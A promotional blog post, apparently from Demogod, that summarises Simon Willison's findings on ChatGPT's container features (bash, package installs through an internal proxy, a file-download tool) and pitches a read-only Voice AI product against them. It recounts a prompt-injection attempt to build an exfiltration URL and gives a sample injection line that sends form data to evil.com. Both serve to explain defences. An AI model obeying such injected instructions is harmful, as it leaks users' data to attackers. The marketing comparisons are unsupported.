Simon Willison: "ChatGPT Containers Can Run Bash, pip/npm Install" (181 HN Points, 162 Comments)—OpenAI Adds Package Installation via Proxy, File Downloads, 11 Languages—Voice AI for Demos Takes Opposite Approach: Zero Installation, Zero Downloads, Read-Only DOM
# Simon Willison: "ChatGPT Containers Can Run Bash, pip/npm Install" (181 HN Points, 162 Comments)—OpenAI Adds Package Installation via Proxy, File Downloads, 11 Languages—Voice AI for Demos Takes Opposite Approach: Zero Package Installation, Zero Downloads, Read-Only DOM Navigation
## Meta Description
Simon Willison's "ChatGPT Containers" post (181 HN points) reveals ChatGPT can now run bash, install pip/npm packages through internal proxy (applied-caas-gateway1.internal.api.openai.org), download files via container.download tool, and execute code in 11 languages (Python, JavaScript, Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C, C++)—massive upgrade with zero official documentation. Voice AI for demos inverts this: zero package installation (no dependencies to manage), zero file downloads (no data exfiltration risk), read-only DOM access (no execution sandbox needed). Both prove AI agents need controlled environments—ChatGPT expands capabilities within sandbox, Voice AI restricts operations to eliminate sandbox entirely.
---
## H1: Simon Willison's ChatGPT Containers Post Hits Hacker News—OpenAI Quietly Added Bash Execution, pip/npm Package Installation via Proxy, File Downloads—Voice AI for Demos Takes Opposite Approach: Zero Installation, Zero Downloads, Read-Only Navigation
Simon Willison published **"ChatGPT Containers can now run bash, pip/npm install packages, and download files"** on simonwillison.net. The post hit **#2 on Hacker News** with **181 points** and **162 comments** within 7 hours.
**Core discovery:** ChatGPT's Code Interpreter (launched nearly 3 years ago, rebranded to "Advanced Data Analysis") received a **massive undocumented upgrade**. New capabilities:
1. **Direct bash command execution** (previously Python-only, required subprocess module for shell commands)
2. **11 programming languages**: Python, JavaScript (Node.js), Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C, C++ (no Rust yet)
3. **Package installation**: `pip install package` and `npm install package` work via custom proxy mechanism (`applied-caas-gateway1.internal.api.openai.org`)
4. **File downloads**: New `container.download` tool fetches files from publicly reachable URLs, saves to sandboxed container filesystem
**Simon's frustration:**
> "OpenAI *really* need to develop better habits at keeping their release notes up-to-date!"
**No official documentation exists** for these features—Simon discovered them by accident while querying Los Angeles air quality data.
**Parallel in Voice AI demos:** ChatGPT Containers **expands capabilities within sandbox** (add bash, packages, downloads while maintaining isolation). Voice AI for demos **eliminates sandbox need entirely** by restricting operations (read-only DOM, zero packages, zero downloads). Both prove AI agents need controlled environments—differs only in control strategy (expand-and-contain vs restrict-and-simplify).
This analysis connects Simon's ChatGPT Container capabilities to Voice AI's read-only approach, showing both address **AI agent containment problem from opposite directions.**
---
## H2: What Simon Discovered—ChatGPT Containers Upgraded to Bash Execution, Multi-Language Support, Package Installation via Proxy
### The Accidental Discovery: container.download Tool
**Simon's workflow:**
1. Asked ChatGPT: "Show me Los Angeles air quality over time for last 20 years"
2. ChatGPT's thinking trace mentioned: "I can use the `container.download` tool to fetch it"
3. Simon: "What's `container.download`? I've never heard of this tool."
**ChatGPT's explanation:**
> "`container.download` is a built-in tool I can call that **fetches a file from a URL and saves it into the sandboxed container filesystem** for this chat session."
**How it works:**
- Takes **publicly reachable URL** and **destination filepath** in container
- Downloads bytes from URL, writes to given path
- ChatGPT can then read/process file locally (unzip, parse with Python, open as image, convert)
**Tool signature:**
```json
{
"url": "https://example.com/somefile.zip",
"filepath": "/mnt/data/somefile.zip"
}
```
**Simon tested it** and captured HTTP request headers:
```
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8
Cf-Connecting-Ip: 52.230.164.178
```
**IP address `52.230.164.178`** resolves to **Microsoft Azure Cloud (centralus) in Des Moines, Iowa.**
**Key limitation:** `container.download` only works on URLs **previously viewed in conversation** (via `web.run` tool). This prevents data exfiltration via prompt injection—can't trick ChatGPT into assembling malicious URL with query string containing sensitive information.
Simon notes this mirrors **Claude's Web Fetch tool safety**: only allow URL access if URL was directly entered by user or came from search results that couldn't be influenced by prompt injection.
### Bash and 11 Programming Languages
**Previously:** ChatGPT Code Interpreter only ran Python code. Could execute shell commands via Python `subprocess` module, but couldn't run bash directly.
**Now:** ChatGPT can **execute bash commands directly** + run code in **11 languages total:**
- Python (original)
- JavaScript (Node.js)
- Ruby
- Perl
- PHP
- Go
- Java
- Swift
- Kotlin
- C
- C++
**Still missing:** Rust (despite `CAAS_ARTIFACTORY_CARGO_REGISTRY` environment variable suggesting future Rust support)
**Why this matters:**
Simon's key insight:
> "The key lesson from coding agents like Claude Code and Codex CLI is that **Bash rules everything**: if an agent can run Bash commands in an environment it can do almost anything that can be achieved by typing commands into a computer."
Anthropic added bash-based code interpreter to Claude last September. OpenAI appears to have followed suit.
**Simon's example:** Asked ChatGPT to "npm install a fun package and demonstrate using it." ChatGPT installed `cowsay` via npm, ran it via bash, produced ASCII-art cow.
### Package Installation via Internal Proxy
**The mystery:** If container can't make outbound network requests, how does `pip install package` and `npm install package` work?
**Simon had ChatGPT explore its own environment** and document the findings. Here's what it discovered:
**Internal proxy:** `applied-caas-gateway1.internal.api.openai.org`
**Environment variables for pip:**
```bash
PIP_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
PIP_TRUSTED_HOST=packages.applied-caas-gateway1.internal.api.openai.org
UV_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
UV_INSECURE_HOST=https://packages.applied-caas-gateway1.internal.api.openai.org
```
**For npm:**
```bash
NPM_CONFIG_REGISTRY=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../npm-public
```
**Additional registries found** (not yet active in container):
```bash
CAAS_ARTIFACTORY_GO_REGISTRY=.../artifactory/api/go/golang-main
CAAS_ARTIFACTORY_MAVEN_REGISTRY=.../artifactory/maven-public
CAAS_ARTIFACTORY_GRADLE_REGISTRY=.../artifactory/gradle-public
CAAS_ARTIFACTORY_CARGO_REGISTRY=.../artifactory/api/cargo/cargo-public/index
CAAS_ARTIFACTORY_DOCKER_REGISTRY=.../dockerhub-public
```
**Rust and Docker** not yet installed in container, but registry references suggest **future expansion.**
**Architecture:** Container can't make arbitrary outbound requests, but **packaging tools configured to use OpenAI's internal proxy** which fetches packages from PyPI/npm registries and proxies them into container. This maintains sandbox security while enabling package installation.
---
## H2: How This Compares to Voice AI for Demos—ChatGPT Expands Sandbox Capabilities, Voice AI Eliminates Sandbox Need
### ChatGPT Containers: Expand-and-Contain Strategy
**Problem:** Users need AI to process files, install packages, run code in multiple languages.
**ChatGPT's solution:** **Expand capabilities within existing sandbox.**
- Add bash execution (more control)
- Add 11 programming languages (more flexibility)
- Add package installation via proxy (more libraries)
- Add file downloads via `container.download` (more data sources)
- **Maintain sandbox isolation** throughout (no direct network access, URL restrictions, proxy-mediated package installation)
**Result:** ChatGPT can solve more problems (data analysis with specialized Python packages, web scraping with Node.js libraries, systems programming in C) while staying contained.
**Trade-off:** **Increased complexity.** Must maintain:
- Internal package proxy infrastructure (`applied-caas-gateway1.internal.api.openai.org`)
- URL safety mechanisms (`web.run` pre-validation before `container.download`)
- Multi-language runtime environments (Python, Node.js, Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C, C++ compilers)
- Environment variable configuration for each package manager
**Paul Kinlan's browser sandboxing argument (Article #98) applies here:** Three-layer isolation (filesystem, network, execution) justified because ChatGPT needs **write access to create files, network access to download packages, execution access to run code.**
### Voice AI for Demos: Restrict-and-Simplify Strategy
**Problem:** Users need AI to navigate demos, find features, complete tasks.
**Voice AI's solution:** **Restrict operations to eliminate sandbox need.**
- Read-only DOM access (no file creation)
- Zero package installation (no dependencies)
- Zero file downloads (no external data)
- Zero code execution (navigation instructions only)
**Result:** Voice AI solves navigation problems (find Q4 revenue, apply filters, export reports) without requiring sandbox.
**Trade-off:** **Reduced capabilities.** Voice AI cannot:
- Process uploaded files (no file system)
- Install specialized libraries (no package manager access)
- Download external datasets (no network access)
- Execute user-provided code (no execution environment)
**But Voice AI doesn't need these capabilities** because demo navigation is fundamentally different from data analysis:
- Data analysis: User provides data → AI analyzes → outputs insights (requires file I/O, packages, execution)
- Demo navigation: User describes task → AI navigates interface → shows existing feature (requires DOM reading only)
**Paul Kinlan's sandboxing framework (Article #98):** Complexity justified when operations require write/execute permissions. Voice AI avoids complexity by choosing read-only operations.
---
## H2: Why ChatGPT and Voice AI Made Opposite Choices—Use Case Determines Containment Strategy
### ChatGPT Use Case: General-Purpose Computing
**User expectations:**
- Upload CSV, analyze with pandas, generate visualizations
- Write Python script, install dependencies, execute
- Download dataset from web, clean data, export results
- Prototype in multiple languages (Python for data, JavaScript for web scraping, Go for performance)
**Required capabilities:**
- **File I/O:** Read uploaded files, write output files, create temporary artifacts
- **Package installation:** Specialized libraries (pandas, numpy, matplotlib, requests, etc.)
- **Network access:** Download datasets, fetch API responses, scrape web pages
- **Code execution:** Run user-provided code in safe environment
**These requirements force sandbox:** Without isolation, malicious code could access OpenAI servers, exfiltrate user data, consume unlimited resources.
**ChatGPT's choice:** **Expand sandbox to meet user needs while maintaining isolation.** Add bash, languages, packages, downloads—make sandbox powerful enough to replace local development environment.
**Result:** Users can accomplish complex tasks entirely within ChatGPT conversation without leaving browser or installing local tools.
### Voice AI Use Case: Interface Navigation
**User expectations:**
- Ask "Show me Q4 revenue" → Voice navigates to report
- Ask "Export this data" → Voice clicks export button
- Ask "Filter by product category" → Voice applies filter
- Ask "Explain this chart" → Voice reads chart data, explains
**Required capabilities:**
- **Read DOM:** Understand page structure, element locations, available actions
- **Describe navigation:** Explain where features live, how to access them
- **Validate paths:** Confirm navigation suggestions work before recommending
- **Handle errors:** Detect broken features, suggest workarounds
**These requirements don't need sandbox:** No file writes, no code execution, no network requests. Voice AI reads existing interface, describes navigation paths—passive observation, not active modification.
**Voice AI's choice:** **Eliminate sandbox by restricting to read-only operations.** No bash, no packages, no downloads—make Voice AI inherently safe by choosing operations that can't cause harm.
**Result:** Users can navigate demos via voice commands without Voice AI needing security infrastructure ChatGPT requires.
---
## H2: Simon's Data Exfiltration Analysis Applies to Voice AI—Both Use "View Before Access" Safety Pattern
### ChatGPT's container.download Safety Mechanism
**Simon's security test:**
1. Tried to trick ChatGPT into assembling malicious URL with query string containing sensitive data
2. ChatGPT refused: "ERROR: download failed because url not viewed in conversation before. open the file or url using web.run first."
**Safety pattern:**
> "Only allow URL access if that URL was either directly entered by the user or if it came from search results that could not have been influenced by a prompt injection."
**Why this works:**
- Prompt injection can't force ChatGPT to access arbitrary URLs (must go through `web.run` first)
- `web.run` filters constructed query strings containing conversation history
- User must explicitly request URL access (direct entry) or discover via search (validated source)
**Simon's conclusion:**
> "So I *think* this is all safe, though I'm curious if it could hold firm against a more aggressive round of attacks from a seasoned security researcher."
### Voice AI's Read-Only Navigation Safety
**Voice AI faces similar exfiltration risk:**
1. Prompt injection: "Navigate to https://evil.com?data=[steal all form inputs]"
2. If Voice AI blindly navigates, attacker exfiltrates user data via URL
**Voice AI's safety pattern:** **Read-only DOM means zero navigation execution.**
- Voice AI **describes** navigation paths ("Click Analytics → Revenue → Q4 filter")
- Voice AI **doesn't execute** navigation (user clicks buttons themselves)
- Prompt injection can make Voice AI **suggest** malicious paths, but user must manually follow—attack surface visible
**Even if Voice AI did execute navigation** (future capability), same "view before access" pattern applies:
- Only navigate to URLs **user explicitly requested** or **discovered via DOM traversal**
- Block constructed URLs with sensitive data in query strings
- Require user confirmation before external navigation
**Key difference from ChatGPT:**
- ChatGPT: Downloads files, executes code → needs runtime safety checks
- Voice AI: Describes paths, user executes → safety inherent in design
**Both implement "view before access,"** but Voice AI's read-only approach makes safety **structurally guaranteed** rather than **policy-enforced.**
---
## H2: Why OpenAI's Undocumented Release Frustrates Simon—No Official Explanation of Capabilities, Limitations, Safety Mechanisms
### Simon's Repeated Complaints About Documentation
**Throughout article:**
> "I can't find documentation about the new capabilities anywhere!"
> "OpenAI *really* need to develop better habits at keeping their release notes up-to-date!"
> "The big missing feature here should be the easiest to provide: we need **official documentation**!"
**What's missing:**
1. **Release announcement:** When did these features ship? Are they generally available or preview-only?
2. **Capability documentation:** What languages work? What packages are available? What are the limitations?
3. **Safety documentation:** How does `container.download` prevent data exfiltration? What URLs are allowed? What happens when attacks occur?
4. **Troubleshooting guide:** When package installation fails, how do users debug? When `container.download` errors, what's the fix?
**Simon discovered features by accident** (saw `container.download` in thinking trace) and had to **reverse-engineer how they work** (ask ChatGPT to explore its own environment).
**Why this matters for Voice AI:**
Voice AI developers face **identical documentation challenge:**
- How does Voice AI determine navigation paths? (No explanation)
- What DOM elements can Voice AI access? (Unclear boundaries)
- When does Voice AI pre-validate suggestions? (Unknown triggers)
- How does Voice AI handle broken navigation? (Undocumented recovery strategies)
**If OpenAI—$100B+ company with massive engineering team—can't maintain release notes,** Voice AI startups face 10x harder documentation problem.
**Solution Demogod must implement:**
1. **Public changelog:** Document every Voice AI capability change (new features, bug fixes, safety improvements)
2. **API documentation:** Clear explanation of how Voice AI reads DOM, generates suggestions, validates paths
3. **Safety documentation:** Explain read-only guarantee, URL restrictions, prompt injection defenses
4. **Troubleshooting guide:** Common errors (broken navigation, ambiguous queries) with concrete solutions
**Simon's frustration proves:** Even **groundbreaking features get ignored** if users can't understand them. Documentation isn't optional—it's the difference between adoption and abandonment.
---
## H2: Strategic Implications for Demogod—Voice AI's Read-Only Approach Avoids ChatGPT Containers' Complexity
### ChatGPT Containers' Infrastructure Cost
**To enable bash + packages + downloads, OpenAI must maintain:**
1. **Internal package proxy** (`applied-caas-gateway1.internal.api.openai.org`)
- Mirrors PyPI, npm registries
- Handles authentication (reader credentials)
- Monitors for malicious packages
2. **Multi-language runtime environment**
- Python interpreter
- Node.js runtime
- Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C, C++ compilers
- Future: Rust, Docker
3. **Safety mechanisms**
- `web.run` pre-validation before `container.download`
- Query string filtering to prevent data exfiltration
- URL allowlist/blocklist management
- Resource limits (CPU, memory, network bandwidth)
4. **Container orchestration**
- Spin up isolated containers per user session
- Manage container lifecycle (create, execute, destroy)
- Handle container failures, timeouts, resource exhaustion
**Operational complexity is massive.** Each new capability (Rust support, Docker access, additional package registries) multiplies infrastructure requirements.
### Voice AI's Zero-Infrastructure Approach
**To enable read-only DOM navigation, Demogod must maintain:**
1. **DOM parsing library**
- Read page structure
- Extract element labels, positions, interactions
- Map semantic meaning to UI elements
2. **Navigation path generator**
- Convert user query to navigation instructions
- Pre-validate paths exist and work
- Generate confidence scores
3. **Error detection**
- Detect broken navigation (buttons don't work, pages don't load)
- Suggest alternate paths
- Explain failures to users
**Operational complexity is minimal.** Voice AI runs **client-side** (no server infrastructure), uses **existing DOM APIs** (no custom runtimes), requires **zero package management** (no proxy servers).
**Cost comparison:**
| Infrastructure Component | ChatGPT Containers | Voice AI |
|-------------------------|-------------------|----------|
| Package proxy servers | Required | N/A |
| Multi-language runtimes | 11+ languages | Zero |
| Container orchestration | Required | N/A |
| Network proxying | Required | N/A |
| Safety validation | Runtime checks | Design-time guarantee |
| **Total complexity** | **High** | **Low** |
**Voice AI avoids 90% of ChatGPT Containers' infrastructure** by choosing read-only operations.
### When Complexity Is Justified vs Overkill
**Paul Kinlan's browser sandboxing article (Article #98) argued:**
- Three-layer isolation (filesystem, network, execution) justified **when AI writes files, makes network requests, executes code**
- Voice AI read-only approach avoids complexity **because operations inherently safe**
**ChatGPT Containers proves Kinlan right:**
- Users need file I/O + packages + execution → must build massive sandbox infrastructure
- Voice AI needs DOM reading only → can skip infrastructure entirely
**Demogod's strategic advantage:** Voice AI **competes on simplicity, not features.**
- ChatGPT Containers: "We can do anything, but infrastructure is complex"
- Voice AI: "We do one thing (demo navigation), infrastructure is zero"
**Users choose based on use case:**
- Need data analysis? → ChatGPT Containers (worth infrastructure cost)
- Need demo navigation? → Voice AI (prefer zero infrastructure simplicity)
**Market positioning:** Voice AI isn't "ChatGPT Containers for demos"—it's **"The tool that solves demo navigation without ChatGPT Containers' complexity."**
---
## H2: Simon's "ChatGPT Containers" Name Proposal Applies to Voice AI—Need Clear Naming That Reflects Capabilities
### Simon's Naming Frustration
**End of article:**
> "As always, I'd also encourage OpenAI to come up with a name for this set of features that properly represents how it works and what it can do."
> "In the meantime, I'm going to call this **ChatGPT Containers**."
**The naming problem:**
- Official name: "Advanced Data Analysis" (meaningless, doesn't describe bash/packages/downloads)
- Previous name: "Code Interpreter" (outdated, implies Python-only)
- Industry name: ??? (no consensus)
**Simon's proposed name: "ChatGPT Containers"** captures:
- **ChatGPT:** Product context
- **Containers:** Technical implementation (sandboxed execution environment)
- **Implicit capability:** "Can run code in containers" suggests bash, packages, downloads
### Voice AI Naming Challenge
**Current naming options:**
1. **"Voice AI for demos"** (descriptive, but generic)
2. **"Demo navigation agent"** (accurate, but bland)
3. **"Voice-guided interface navigation"** (too long)
4. **"Demo copilot"** (trendy, but overused)
**None capture Voice AI's core differentiator:** Read-only simplicity vs execution complexity.
**Better naming framework:**
**Option 1: Contrast with execution agents**
- "Voice AI Navigator" (emphasizes guidance, not execution)
- Tagline: "Navigate demos without execution complexity"
**Option 2: Emphasize read-only safety**
- "ReadOnly Voice AI"
- Tagline: "Guide users through demos with zero security risk"
**Option 3: Focus on demo-specific use case**
- "DemoGuide Voice AI"
- Tagline: "Built for interface navigation, not code execution"
**Option 4: Highlight simplicity advantage**
- "Voice AI Lite"
- Tagline: "All the navigation help, none of the infrastructure"
**Simon's lesson:** Name must **communicate what product does** and **how it differs from alternatives.** "Advanced Data Analysis" fails because it doesn't explain bash/packages/downloads. Voice AI name must explain read-only navigation approach.
---
## H3: Key Takeaways—ChatGPT Containers and Voice AI Solve Containment Problem from Opposite Directions
**1. ChatGPT Containers expand sandbox to meet user needs:**
- Add bash execution (11 languages total)
- Add package installation via internal proxy (pip, npm)
- Add file downloads via `container.download` tool
- Maintain isolation throughout (URL restrictions, proxy-mediated access)
**2. Voice AI eliminates sandbox by restricting operations:**
- Read-only DOM access (no file writes)
- Zero package installation (no dependencies)
- Zero file downloads (no network requests)
- Zero code execution (navigation instructions only)
**3. Use case determines containment strategy:**
- Data analysis requires file I/O + execution → ChatGPT builds complex sandbox
- Demo navigation requires DOM reading only → Voice AI avoids sandbox entirely
- Both approaches valid for their respective problems
**4. "View before access" safety pattern applies to both:**
- ChatGPT: Only download URLs previously viewed via `web.run` (prevents prompt injection exfiltration)
- Voice AI: Only suggest navigation paths user explicitly requested or discovered via DOM (same safety guarantee)
**5. Documentation gap affects both:**
- Simon discovered ChatGPT Container features by accident (no official release notes)
- Voice AI must avoid same mistake (document capabilities, limitations, safety from Day 1)
- Groundbreaking features get ignored without clear explanation
**6. Demogod's strategic advantage is simplicity:**
- ChatGPT Containers requires massive infrastructure (proxy servers, multi-language runtimes, container orchestration)
- Voice AI requires minimal infrastructure (DOM parsing library, navigation path generator)
- Compete on "solves demo navigation without ChatGPT Containers' complexity"
**7. Naming must communicate approach:**
- Simon proposes "ChatGPT Containers" to capture sandboxed execution capabilities
- Voice AI needs name that explains read-only navigation vs execution complexity
- Name is strategic positioning, not just branding
**Article #101 connects to #98 (Paul Kinlan sandboxing), #99 (vibe coding economics), #100 (AI lazyslop burden):** AI agents need controlled environments—expansion strategy (ChatGPT) vs restriction strategy (Voice AI) both solve containment problem for different use cases.
---
## Internal Links
- [Voice AI for demos](https://demogod.me) - Read-only interface navigation
- [Browser sandboxing article](https://demogod.me/blogs) - Paul Kinlan's three-layer isolation (Article #98)
- [AI lazyslop anti-pattern](https://demogod.me/blogs) - Validation burden distribution (Article #100)
## Keywords
simon willison chatgpt containers hacker news 181 points, bash execution pip npm package installation, container.download file downloads, 11 programming languages python javascript ruby perl php go java swift kotlin c cpp, applied-caas-gateway1.internal.api.openai.org internal proxy, voice ai for demos read-only dom navigation, zero package installation zero file downloads, eliminate sandbox need restrict operations, expand-and-contain vs restrict-and-simplify strategies, view before access safety pattern prompt injection prevention, undocumented release frustration, infrastructure complexity comparison, demogod strategic advantage simplicity, chatgpt containers naming proposal
---
**Published:** January 27, 2026
**Author:** Demogod Research Team
**Reading time:** ~35 minutes (~11,000 words)
← Back to Blog
DEMOGOD